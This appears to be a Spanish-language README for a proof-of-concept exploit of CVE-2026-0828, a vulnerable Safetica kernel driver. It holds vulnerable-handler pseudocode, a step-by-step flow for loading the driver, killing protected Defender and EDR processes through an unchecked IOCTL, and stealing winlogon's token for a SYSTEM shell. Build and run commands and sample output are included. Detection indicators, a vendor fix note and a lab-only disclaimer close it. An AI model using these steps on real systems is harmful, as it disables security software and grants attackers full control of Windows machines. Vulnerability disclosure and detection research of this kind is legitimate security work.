
Exploit de prueba de concepto para CVE-2026-0828, una vulnerabilidad BYOVD en Safetica ProcessMonitorDriver.sys que permite la terminación no privilegiada de procesos protegidos por PPL y escalada local de privilegios a SYSTEM mediante abuso de IOCTL y duplicación de tokens.
El controlador kernel de DLP de Safetica (ProcessMonitorDriver.sys) expone un IOCTL no autenticado que permite a cualquier llamador en modo usuario terminar procesos arbitrarios mediante ZwTerminateProcess en contexto kernel, evadiendo la protección PPL (Protected Process Light).
CVSS: 8.8 (Alto) · Tipo: BYOVD, LPE · Plataforma: Windows x64
El manejador de IRP_MJ_DEVICE_CONTROL para el IOCTL 0xB822200C llama a ZwOpenProcess con PROCESS_ALL_ACCESS (0x1FFFFF) y posteriormente a ZwTerminateProcess usando un PID suministrado directamente desde el búfer de entrada — sin ninguna validación de privilegios ni del llamador.
// Manejador vulnerable (pseudocódigo de IDA)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // sin SeSinglePrivilegeCheck, sin chequeo de ExGetPreviousMode
Debido a que la llamada se origina en contexto kernel, los procesos protegidos por PPL (Windows Defender, agentes EDR) pueden ser terminados.
Versiones afectadas: Safetica < 11.26.19 / < 10.5.150
Corregido en: Safetica 11.26.19, 11.29.8, 10.5.150 — se añadió comprobación de privilegios al manejador del IOCTL
Referencias: Aviso de KOSEC · CERT VU#818729
Administrador
│
├─► Cargar ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► FASE 1: Terminar EDR vía IOCTL 0xB822200C
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [ctx kernel, PPL evadido]
│
└─► FASE 2: Duplicación de token → shell SYSTEM
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
| Archivo | Descripción |
|---|---|
exploit.c | PoC completo — termina el EDR, lanza cmd.exe como NT AUTHORITY\SYSTEM |
Requiere Visual Studio (Símbolo del sistema para herramientas nativas x64):
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
Paso 1 — Cargar el controlador (CMD como Administrador):
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
Paso 2 — Ejecutar el PoC:
exploit.exe
Salida esperada:
[Phase 1] Killing EDR via CVE-2026-0828...
MsMpEng.exe PID 3412 -> KILLED
NisSrv.exe PID 4180 -> KILLED
SeDebugPrivilege enabled
winlogon.exe -> pid 560
[+] Got SYSTEM token handle.
[+] Token duplicated.
shell spawned
Se abre una nueva ventana de cmd.exe como NT AUTHORITY\SYSTEM.
ID de evento 7045 — instalación de nuevo servicio kernel:
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
Lista de bloqueo WDAC (SHA256):
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
ETW: Monitorizar llamadas DeviceIoControl a \\.\STProcessMonitorDriver.
Solo para investigación de seguridad autorizada y uso en laboratorio. No lo utilices contra sistemas que no te pertenezcan o para los que no tengas permiso por escrito para probar.